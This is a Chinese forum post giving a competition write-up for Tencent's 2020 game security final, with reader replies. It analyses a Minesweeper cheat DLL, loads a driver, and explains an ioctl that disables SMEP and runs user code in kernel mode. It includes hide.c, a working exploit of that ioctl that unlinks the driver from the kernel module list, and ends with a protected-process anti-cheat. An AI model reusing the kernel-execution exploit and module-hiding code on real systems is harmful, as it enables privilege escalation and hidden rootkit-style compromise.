吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

搜索
查看: 5185|回复: 25

[决赛第一题] 2020腾讯游戏安全技术复赛pc客户端安全wp

  [复制链接]
shyoshyo 发表于 2020-4-14 01:18
本帖最后由 shyoshyo 于 2020-4-14 01:47 编辑

官网 https://gslab.qq.com/html/competition/2020/race-final.htm

这份 wp 的答案不一定正确,如果发现错误请一定帮我指出,感激不尽


Ring3


1.

用 WinDbg 查看已经加载的模块,看到一个可疑的模块


0:004> lm

start    end        module name

01000000 01020000   winmine    (deferred)            

6d030000 6d29a000   CoreUIComponents   (deferred)            

6e220000 6e266000   CheatTools   (deferred)            

6e2e0000 6e3bb000   WinTypes   (deferred)            

6e3c0000 6e44f000   CoreMessaging   (deferred)            


看一下这个模块,看信息基本没跑了


0:004> lm Dvm CheatTools

Browse full module list

start    end        module name

6e220000 6e266000   CheatTools   (deferred)            

    Image path: D:\Temp\bin\CheatTools.dll

    Image name: CheatTools.dll

    Browse all global symbols  functions  data

    Timestamp:        Sun Apr 23 14:46:00 2017 (58FC4DA8)

    CheckSum:         00045158

    ImageSize:        00046000

    File version:     1.0.0.1

    Product version:  1.0.0.1

    File flags:       0 (Mask 3F)

    File OS:          4 Unknown Win32

    File type:        2.0 Dll

    File date:        00000000.00000000

    Translations:     0804.03a8

    CompanyName:      TODO: <公司名>

    ProductName:      TODO: <产品名>

    InternalName:     CheatTools.dll

    OriginalFilename: CheatTools.dll

    ProductVersion:   1.0.0.1

    FileVersion:      1.0.0.1

    FileDescription:  TODO: <文件说明>

    LegalCopyright:   TODO: (C) <公司名>。保留所有权利。


后面可以分析,作弊的模块就是这个 D:\Temp\bin\CheatTools.dll,模块名 CheatTools


2. Dump 这个模块


0:004> .writemem C:\CheatTools.dll 6e220000 6e266000-1


修一下偏移




丢到 IDA 里逆向分析,可以看到初试中出现的两个指令 patch





按照初赛的分析,6E221660 对应锁时,6E2216D0 对应防死



还有一个 6E221820函数:





这个6E221820函数先调用游戏自身的 playat(1, 1) 先下一步,避免 (1, 1) 就是雷,导致重新随机化。0x1003512 即游戏自身的 playat 函数。


随后这个6E221820函数会读取 0x1005340 开始的内存,通过动态分析游戏,不难发现此处存储了地雷的信息






游戏进行过程中,0x1005340 区域开始的 8F 即地雷,因此 6E2218B3 前半部分在获取地雷游戏信息,之后,该函数会计算地雷的行列值:




最后调用游戏自身的 playat 函数,实现 autoplay:





另外还有一个6E221AC0函数,前半部分跟 6E2218B3差不多,但最后一步不是 playat 而是输出




因此这个函数实现了透视挂的功能




总结而言,这个外挂的有四个核心函数:


6E221660 锁时

6E2216D0 防死

6E221820 autoplay

6E221AC0 透视



=====================================================


Ring0

Part 1

1. 直接启动服务,提示


[SC] StartService FAILED 225:


Operation did not complete successfully because the file contains a virus or potentially unwanted software.


分析后发现代码初始化回调函数部分返回 0xC0000906 导致系统提示上述信息





patch 该初始化函数的返位值为 0 即可加载,见 Driver_patched.drv









2.


配置注册表,使用 LookupPrivilegeValueA 和 AdjustTokenPrivileges 提升 SE_LOAD_DRIVER_NAME 权限,调用 ZwLoadDriver 加载驱动,见 load.c 和 load.exe。

编译方法为:

cl load.c Advapi32.lib /Feload.exe


[C] 纯文本查看 复制代码
#include<windows.h>
#include<stdio.h>

typedef struct _FYPHER_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef DWORD (CALLBACK* RTLINITUNICODESTRING)(PVOID, PVOID);
RTLINITUNICODESTRING RtlInitUnicodeString;

typedef DWORD (CALLBACK* ZWLOADDRIVER)(PVOID);
ZWLOADDRIVER ZwLoadDriver;

void requestPrivilege()
{
        HANDLE hToken = NULL;
        LUID luid;
        TOKEN_PRIVILEGES tp;

        OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
        LookupPrivilegeValueA("", SE_LOAD_DRIVER_NAME, &luid);
        
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, 0);
        CloseHandle(hToken);
}

void loadDriver()
{
        HKEY hk;
        CHAR szBuf[] = "SYSTEM\\CurrentControlSet\\Services\\Driver";
        CHAR path[] = "\\??\\C:\\Driver.drv";
        CHAR objName[] = "Driver";
        DWORD start = 3;
        DWORD type = 1;
        DWORD errorControl = 1;
        UNICODE_STRING Name;
        
        HMODULE hNtdll = LoadLibraryW( L"ntdll.dll" );
        
        RtlInitUnicodeString = (RTLINITUNICODESTRING) GetProcAddress(hNtdll, "RtlInitUnicodeString");
        ZwLoadDriver = (ZWLOADDRIVER) GetProcAddress(hNtdll, "ZwLoadDriver");
        
        RegDeleteKeyA(HKEY_LOCAL_MACHINE, szBuf);
        RegCreateKeyA(HKEY_LOCAL_MACHINE, szBuf, &hk);
        RegSetValueExA(hk, "ImagePath", 0, REG_EXPAND_SZ,  (LPBYTE) path, sizeof(path));
        RegSetValueExA(hk, "Start", 0, REG_DWORD,  (LPBYTE) &start, sizeof(DWORD));
        RegSetValueExA(hk, "Type", 0, REG_DWORD, (LPBYTE) &type, sizeof(DWORD));
        RegSetValueExA(hk, "ErrorControl", 0, REG_DWORD, (LPBYTE) &errorControl, sizeof(DWORD));
        
        RtlInitUnicodeString(&Name, L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Driver");
        ZwLoadDriver(&Name);
}

int main()
{
        requestPrivilege();
        loadDriver();
        return 0;
}




3. 驱动核心的 ioctl handler 函数在此








这个函数根据 (ioctl_code >> 2) & 0xfff 的值(即 function code)是否为 0x800/0x801/0x802/0x803,分配以下的四种功能:


0x800





0x801





0x802





0x803





其中,对于第一个 0x800,输入为一个 0x10 字节的 buffer,输出 0x4字节buffer。

对于后三个 0x801, 0x802, 0x803,输入为一个 0x8 字节的 buffer,输出 0x8字节buffer。


4.

第一个功能 0x800 是以 ring0 态执行用户程序指定的命令





首先关闭 SMEP,然后一ring0态执行到用户态程序指定的函数指针处,以用户态程序指定的参数运行,并提供 MmGetSystemRoutineAddress 的地址供用户态(越权到内核态的)程序调用。此调用输入的数据结构为两个参数,一个函数指针,一个指定的运行参数,共 0x8 + 0x8 = 0x10 字节,输出的数据结构为 DWORD 的返回值,共 0x04字节。



后三个功能 0x801 0x802 0x803 均是计算 hash 值,分别为 MurmurHash64A, MurmurHash2, 和一个魔改了参数的 MurmurHash,通过搜索参数 6A4A7935BD1E99, 0x5BD1E995等不难找到。此调用输入的数据结构为一个参数,指向数据的指针,共 0x8 字节,输出的数据结构为 QWORD 的返回值,共 0x08字节。








5. 用户态程序通过 0x800 ioctl opcode,可以直接“越权”在内核态做一些操作。利用这个调用,可以将该模块从模块链中删除掉。

见程序 hide.c,编译命令为


cl hide.c /Fehide.exe


[C] 纯文本查看 复制代码
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>

typedef struct _FYPHER_UNICODE_STRING {
        USHORT Length;
        USHORT MaximumLength;
        PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _DRIVERDATA
{
        LIST_ENTRY listentry;
        ULONG unknown1;
        ULONG unknown2;
        ULONG unknown3;
        ULONG unknown4;
        ULONG unknown5;
        ULONG unknown6;
        ULONG unknown7;
        UNICODE_STRING path;
        UNICODE_STRING name;
}DRIVERDATA, *PDRIVERDATA;

typedef struct _KLDR_DATA_TABLE_ENTRY
{
        LIST_ENTRY InLoadOrderLinks;
        PVOID ExceptionTable;
        ULONG ExceptionTableSize;
        // ULONG padding on IA64
        PVOID GpValue;
        PNON_PAGED_DEBUG_INFO NonPagedDebugInfo;
        PVOID DllBase;
        PVOID EntryPoint;
        ULONG SizeOfImage;
        UNICODE_STRING FullDllName;
        UNICODE_STRING BaseDllName;
        ULONG Flags;
        USHORT LoadCount;
        USHORT __Unused5;
        PVOID SectionPointer;
        ULONG CheckSum;
        // ULONG padding on IA64
        PVOID LoadedImports;
        PVOID PatchInformation;
}KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;

PVOID MmGetSystemRoutineAdddbress;
PVOID arg;
PCHAR pRetAddr;
PCHAR pDriverBase;
PCHAR *ppDriverObject;
PCHAR pDriverObject;


DWORD fun()
{
        pRetAddr = _ReturnAddress();
        pDriverBase = pRetAddr - 0x2011;
        ppDriverObject = (PCHAR *)(pDriverBase + 0x4308);
        pDriverObject = *ppDriverObject;

        PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)(pDriverObject + 0x28); // pDriverObject->DriverSection

        PLIST_ENTRY f = entry->InLoadOrderLinks.Flink;
        PLIST_ENTRY b = entry->InLoadOrderLinks.Blink;

        entry->InLoadOrderLinks.Flink->Blink = b;
        entry->InLoadOrderLinks.Blink->Flink = f;
        entry->InLoadOrderLinks.Flink = entry;
        entry->InLoadOrderLinks.Blink = entry;

        return 0;
}

int main()
{
        HANDLE hDevice;
        BOOL bRc;
        ULONG bytesReturned;
        DWORD errNum = 0;

        PVOID Input[2];
        DWORD Output[1];

        Input[0] = &fun;
        Input[1] = NULL;

        if ((hDevice = CreateFile("\\\\.\\Hello123", GENERIC_READ | GENERIC_WRITE, 0, 
                NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
        {
                errNum = GetLastError();
                printf("CreateFile failed : %d\n", errNum);
                return ;
        }

        bRc = DeviceIoControl (hDevice, (DWORD) (0x800 << 2) | METHOD_BUFFERED,
                &Input, (DWORD) sizeof(Input), &Output, (DWORD) sizeof(Output), &bytesReturned, NULL);

        if ( !bRc )
        {
                printf ( "Error in DeviceIoControl : %d", GetLastError());
                return;
        }

        CloseHandle(hDevice);
}




PS: 这个题想到了之前搞过的一个驱动壳,暴力 ring3 提权到 ring0 改系统 hook,游戏是安全了,但留下个重大安全漏洞,熟悉的配方熟悉的味道(x

https://securelist.com/elevation-of-privileges-in-namco-driver/83707/


PPS: 这段程序没过 PatchGuard,可能会蓝屏

6. 查看后不难发现,该文件为一个壳的内存 dump,入口在 0x0 处





第一条语句调用 0x275c0 函数,参数(即 0x275c0 中的 rcx)为 0x5 开始的压缩程序数据内容:





我们可以把它编译为一个 PE 文件直接执行,见汇编程序 flag.asm,编译的命令为:


ml64 flag.asm /Foflag.obj /c

link /subsystem:console /nodefaultlib /entry:main flag.obj


[Asm] 纯文本查看 复制代码
.data
dq base;

.code
base:

db 0e8h
db 0bbh
db 075h
db 002h
db 000h
db 0bbh
db 075h
db 002h
db 000h
db 054h
# 省略若干题目提供的文件内容
db 000h
db 000h

main proc
    jmp base
main endp

end


运行下来即可得到 flag





因此最终的 flag 为” 16447126361811417937 “(注意前后各有一个空格)


PS:这个壳不需要任何导入函数,从 TEB 直接怼所需要的导入函数信息,这操作太骚了,日后有时间一定仔细研究研究



Part 2


我们通过修改游戏进程的 EPROCESS 结构中的 protection 成员,使其成为保护进程 (Protected Process),从而防止其他程序读写本游戏程序的内存,实现反外挂。


Ring0部分修改 EPROCESS 结构的核心代码如下,位于驱动的ioctl handler 编号 0x815 处:





[C] 纯文本查看 复制代码
        {
                //
                // kd> dt nt!_EPROCESS
                //    +0x6f9 SectionSignatureLevel : UCh
                //    +0x6fa Protection       : _PS_PROTECTION
                //    +0x6fb HangCount : Pos 0, 3 Bits
                //
                // kd> dt nt!_PS_PROTECTION
                //   +0x000 Level            : UChar
                //         + 0x000 Type : Pos 0, 3 Bits
                //        + 0x000 Audit : Pos 3, 1 Bit
                //        + 0x000 Signer : Pos 4, 4 Bits
                //

                PCHAR pEProcess = (PCHAR) PsGetCurrentProcess();
                PPS_PROTECTION pPPL = (PPS_PROTECTION)(pEProcess + 0x6fa);

                PS_PROTECTION protection = { 0 };
                protection.Flags.Signer = PsProtectedSignerWinTcb;
                protection.Flags.Type = PsProtectedTypeProtected;
                *pPPL = protection;

                KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[MyDriver] set!!\n"));

                // Set status as success
                status = STATUS_SUCCESS;
                Irp->IoStatus.Information = 0;
                break;
        }


该代码中,中相关 struct 的偏移基于 1903,如果是其他版本的win10 可能需要微调偏移。驱动 ring0 部分的具体实现详见ProtectedProcess.c/sys。实现参考了开源代码https://github.com/notscimmy/pplib

在游戏启动时,游戏程序需要主动调用驱动的 0x815 iotcl,运行上述ring0 代码修改当前游戏进程的EPROCESS信息,将当前进程变为保护进程,从而实现反外挂。这里我们用一个 dll 表示该请求过程,需要在游戏启动阶段注入到游戏进程中,详见 protected.c/dll 。实际业务中可以把它整合到引擎启动阶段,不必独立成一个 dll 注入到程序中。


需要以管理员权限运行游戏,运行 dll前需要将 ProtectedProcess.sys 放到 C:\ProtectedProcess.sys。

我们准备了两个录像 antiesp_enabled.movantieap_disabled.mov 展示开启/关闭反外挂后的效果。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册[Register]

x

免费评分

参与人数 8威望 +2 吾爱币 +104 热心值 +8 收起 理由
不复醒。 + 1 + 1 看不懂,牛批就完了。
a0yi + 1 + 1 用心讨论,共获提升!
叶一苇 + 1 用心讨论,共获提升!
N0exp + 1 我很赞同!
bbnlrx + 1 + 1 我很赞同!
minibeetuaman + 1 我很赞同!
Hmily + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
上将无双 + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

细水流长 发表于 2020-4-15 19:44
虽然有些地方还看不懂(#-.-),不过感觉好厉害,大佬加油!
vzzmieshenquan 发表于 2020-4-22 15:54
minibeetuaman 发表于 2020-4-29 15:05
xuexixinzishi 发表于 2020-5-6 12:48
太厉害了吧
tsund 发表于 2020-6-4 23:46
tql,膜拜大佬
CHILAS_LEE 发表于 2020-6-19 16:02
感谢分享
SRE-unicode 发表于 2020-7-21 00:24
太强了,学习学习
yi025 发表于 2020-7-21 00:28
能上精华的,也是上过清华的
殺無道 发表于 2020-7-21 05:59
收藏一下了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2020-10-28 02:36

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表